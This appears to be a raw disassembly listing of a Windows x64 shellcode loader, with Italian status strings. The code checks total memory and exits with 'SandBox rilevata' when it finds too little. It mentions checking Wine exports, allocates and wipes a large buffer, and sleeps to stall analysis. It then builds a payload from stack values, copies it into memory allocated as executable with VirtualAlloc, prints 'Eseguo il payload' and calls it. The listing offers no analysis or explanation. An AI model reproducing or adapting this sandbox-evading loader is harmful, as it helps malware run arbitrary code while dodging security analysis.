movups xmmword [rbp + 0x1a0], xmm0
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [rbp + 0x178], 0x40000000
jae 0x140001d93
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__SandBox_rilevata
call fcn.1400024a0
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_wine_exports
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controlli_finiti
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x5f5e100
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140002432
xor edx, edx
mov r8d, 0x5f5e100
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [rsp + 0x74]
movsd xmm0, qword [rbp + 0x50]
mov word [rbp + 0x2ea], ax
mov eax, dword [rbp - 0x40]
mov dword [rbp + 0x2f4], eax
movzx eax, word [rsp + 0x76]
mov word [rbp + 0x2f8], ax
mov eax, dword [rbp - 0x3c]
mov dword [rbp + 0x302], eax
movzx eax, word [rsp + 0x78]
mov word [rbp + 0x306], ax
mov eax, dword [rbp - 0x38]
mov dword [rbp + 0x310], eax
movzx eax, word [rsp + 0x7a]
mov word [rbp + 0x314], ax
mov eax, dword [rbp - 0x34]
mov dword [rbp + 0x31e], eax
movzx eax, word [rsp + 0x7c]
mov word [rbp + 0x322], ax
mov eax, dword [rbp - 0x30]
movsd qword [rbp + 0x2d0], xmm0
movsd xmm0, qword [rbp + 0x58]
mov dword [rbp + 0x32c], eax
movzx eax, word [rsp + 0x7e]
movsd qword [rbp + 0x2de], xmm0
movsd xmm0, qword [rbp + 0x60]
mov word [rbp + 0x330], ax
mov eax, dword [rbp - 0x2c]
movsd qword [rbp + 0x2ec], xmm0
movsd xmm0, qword [rbp + 0x68]
mov dword [rbp + 0x33a], eax
movzx eax, word [rbp - 0x80]
movsd qword [rbp + 0x2fa], xmm0
movsd xmm0, qword [rbp + 0x70]
mov word [rbp + 0x33e], ax
mov eax, dword [rbp - 0x28]
movsd qword [rbp + 0x308], xmm0
movsd xmm0, qword [rbp + 0x78]
mov dword [rbp + 0x348], eax
movzx eax, word [rbp - 0x7e]
movsd qword [rbp + 0x316], xmm0
movsd xmm0, qword [rbp + 0x80]
mov word [rbp + 0x34c], ax
mov eax, dword [rbp - 0x24]
movsd qword [rbp + 0x324], xmm0
movsd xmm0, qword [rbp + 0x88]
mov dword [rbp + 0x356], eax
movzx eax, word [rbp - 0x7c]
movsd qword [rbp + 0x332], xmm0
movsd xmm0, qword [rbp + 0x90]
mov word [rbp + 0x35a], ax
mov eax, dword [rbp - 0x20]
movsd qword [rbp + 0x340], xmm0
movsd xmm0, qword [rbp + 0x98]
mov dword [rbp + 0x364], eax
movzx eax, word [rbp - 0x7a]
movsd qword [rbp + 0x34e], xmm0
movsd xmm0, qword [rbp + 0xa0]
mov word [rbp + 0x368], ax
mov eax, dword [rbp - 0x1c]
movsd qword [rbp + 0x35c], xmm0
movsd xmm0, qword [rbp + 0xa8]
mov dword [rbp + 0x372], eax
movzx eax, word [rbp - 0x78]
movsd qword [rbp + 0x36a], xmm0
movsd xmm0, qword [rbp + 0xb0]
mov word [rbp + 0x376], ax
mov eax, dword [rbp - 0x18]
mov dword [rbp + 0x2d8], r14d
mov word [rbp + 0x2dc], r15w
mov dword [rbp + 0x2e6], r13d
movsd qword [rbp + 0x378], xmm0
movsd xmm0, qword [rbp + 0xb8]
mov dword [rbp + 0x380], eax
movzx eax, word [rbp - 0x76]
mov word [rbp + 0x384], ax
mov eax, dword [rbp - 0x14]
mov dword [rbp + 0x38e], eax
movzx eax, word [rbp - 0x74]
mov word [rbp + 0x392], ax
mov eax, dword [rbp - 0x10]
mov dword [rbp + 0x39c], eax
movzx eax, word [rbp - 0x72]
mov word [rbp + 0x3a0], ax
mov eax, dword [rbp - 0xc]
mov dword [rbp + 0x3aa], eax
movzx eax, word [rbp - 0x70]
mov word [rbp + 0x3ae], ax
mov eax, dword [rbp - 8]
mov dword [rbp + 0x3b8], eax
movzx eax, word [rbp - 0x6e]
mov word [rbp + 0x3bc], ax
mov eax, dword [rbp - 4]
mov dword [rbp + 0x3c6], eax
movzx eax, word [rbp - 0x6c]
mov word [rbp + 0x3ca], ax
mov eax, dword [rbp]
mov dword [rbp + 0x3d4], eax
movzx eax, word [rbp - 0x6a]
mov word [rbp + 0x3d8], ax
mov eax, dword [rbp + 4]
mov dword [rbp + 0x3e2], eax
movzx eax, word [rbp - 0x68]
movsd qword [rbp + 0x386], xmm0
movsd xmm0, qword [rbp + 0xc0]
mov word [rbp + 0x3e6], ax
mov eax, dword [rbp + 8]
movsd qword [rbp + 0x394], xmm0
movsd xmm0, qword [rbp + 0xc8]
mov dword [rbp + 0x3f0], eax
movzx eax, word [rbp - 0x66]
movsd qword [rbp + 0x3a2], xmm0
movsd xmm0, qword [rbp + 0xd0]
mov word [rbp + 0x3f4], ax
mov eax, dword [rbp + 0xc]
movsd qword [rbp + 0x3b0], xmm0
movsd xmm0, qword [rbp + 0xd8]
mov dword [rbp + 0x3fe], eax
movzx eax, word [rbp - 0x64]
movsd qword [rbp + 0x3be], xmm0
movsd xmm0, qword [rbp + 0xe0]
mov word [rbp + 0x402], ax
mov eax, dword [rbp + 0x10]
movsd qword [rbp + 0x3cc], xmm0
movsd xmm0, qword [rbp + 0x48]
mov dword [rbp + 0x40c], eax
movzx eax, word [rbp - 0x62]
movsd qword [rbp + 0x3da], xmm0
movsd xmm0, qword [rbp + 0xe8]
mov word [rbp + 0x410], ax
mov eax, dword [rbp + 0x14]
movsd qword [rbp + 0x3e8], xmm0
movsd xmm0, qword [rbp + 0xf0]
mov dword [rbp + 0x41a], eax
movzx eax, word [rbp - 0x60]
movsd qword [rbp + 0x3f6], xmm0
movsd xmm0, qword [rbp + 0xf8]
mov word [rbp + 0x41e], ax
mov eax, dword [rbp + 0x18]
movsd qword [rbp + 0x404], xmm0
movsd xmm0, qword [rbp + 0x100]
mov dword [rbp + 0x428], eax
movzx eax, word [rbp - 0x5e]
movsd qword [rbp + 0x412], xmm0
movsd xmm0, qword [rbp + 0x108]
mov word [rbp + 0x42c], ax
mov eax, dword [rbp + 0x1c]
mov dword [rbp + 0x436], eax
movzx eax, word [rbp - 0x5c]
movsd qword [rbp + 0x420], xmm0
movsd xmm0, qword [rbp + 0x110]
mov word [rbp + 0x43a], ax
movsd qword [rbp + 0x42e], xmm0
mov eax, dword [rbp + 0x20]
xor ecx, ecx
movsd xmm0, qword [rbp + 0x118]
mov edx, 0x2d0
mov dword [rbp + 0x444], eax
mov r8d, 0x1000
movzx eax, word [rbp - 0x5a]
mov word [rbp + 0x448], ax
lea r9d, [rcx + 0x40]
mov eax, dword [rbp + 0x24]
mov dword [rbp + 0x452], eax
movzx eax, word [rbp - 0x58]
mov word [rbp + 0x456], ax
mov eax, dword [rbp + 0x28]
mov dword [rbp + 0x460], eax
movzx eax, word [rbp - 0x56]
mov word [rbp + 0x464], ax
mov eax, dword [rbp + 0x2c]
mov dword [rbp + 0x46e], eax
movzx eax, word [rbp - 0x54]
mov word [rbp + 0x472], ax
mov eax, dword [rbp + 0x30]
mov dword [rbp + 0x47c], eax
movzx eax, word [rbp - 0x52]
mov word [rbp + 0x480], ax
mov eax, dword [rbp + 0x34]
mov dword [rbp + 0x48a], eax
movzx eax, word [rbp - 0x50]
mov word [rbp + 0x48e], ax
mov eax, dword [rbp + 0x38]
mov dword [rbp + 0x498], eax
movzx eax, word [rbp - 0x4e]
movsd qword [rbp + 0x43c], xmm0
movsd xmm0, qword [rbp + 0x120]
mov word [rbp + 0x49c], ax
mov eax, dword [rbp + 0x3c]
movsd qword [rbp + 0x44a], xmm0
movsd xmm0, qword [rbp + 0x128]
mov dword [rbp + 0x4a6], eax
movzx eax, word [rbp - 0x4c]
movsd qword [rbp + 0x458], xmm0
movsd xmm0, qword [rbp + 0x130]
mov word [rbp + 0x4aa], ax
mov eax, dword [rbp + 0x40]
movsd qword [rbp + 0x466], xmm0
movsd xmm0, qword [rbp + 0x138]
mov dword [rbp + 0x4b4], eax
movzx eax, word [rbp - 0x4a]
movsd qword [rbp + 0x474], xmm0
movsd xmm0, qword [rbp + 0x140]
mov word [rbp + 0x4b8], ax
mov eax, dword [rbp + 0x44]
movsd qword [rbp + 0x482], xmm0
movsd xmm0, qword [rbp + 0x148]
mov dword [rbp + 0x4c2], eax
movzx eax, word [rbp - 0x48]
movsd qword [rbp + 0x490], xmm0
movsd xmm0, qword [rbp + 0x150]
mov word [rbp + 0x4c6], ax
mov eax, dword [rbp - 0x44]
mov dword [rbp + 0x4c8], eax
movzx eax, word [rbp - 0x46]
movsd qword [rbp + 0x49e], xmm0
movsd xmm0, qword [rbp + 0x158]
mov word [rbp + 0x4cc], ax
movzx eax, byte [rsp + 0x73]
movsd qword [rbp + 0x4ac], xmm0
movsd xmm0, qword [rbp + 0x160]
mov byte [rbp + 0x4ce], al
movsd qword [rbp + 0x4ba], xmm0
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [rbp + 0x2d0]
mov edi, 5
mov rsi, rax
mov rdx, rax
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rdx - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm1
sub rdi, 1
jne 0x140002394
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Eseguo_il_payload
call fcn.1400024a0
mov rcx, rax
lea rdx, [0x140002670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call rsi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rsi, qword [rsp + 0x6e8]
xor eax, eax
mov rbx, qword [rsp + 0x6e0]
mov rdi, qword [rsp + 0x6f0]
mov rcx, qword [rbp + 0x5a0]
xor rcx, rsp
call fcn.140002730
add rsp, 0x6b0
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__SandBox_rilevata
call fcn.1400024a0
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]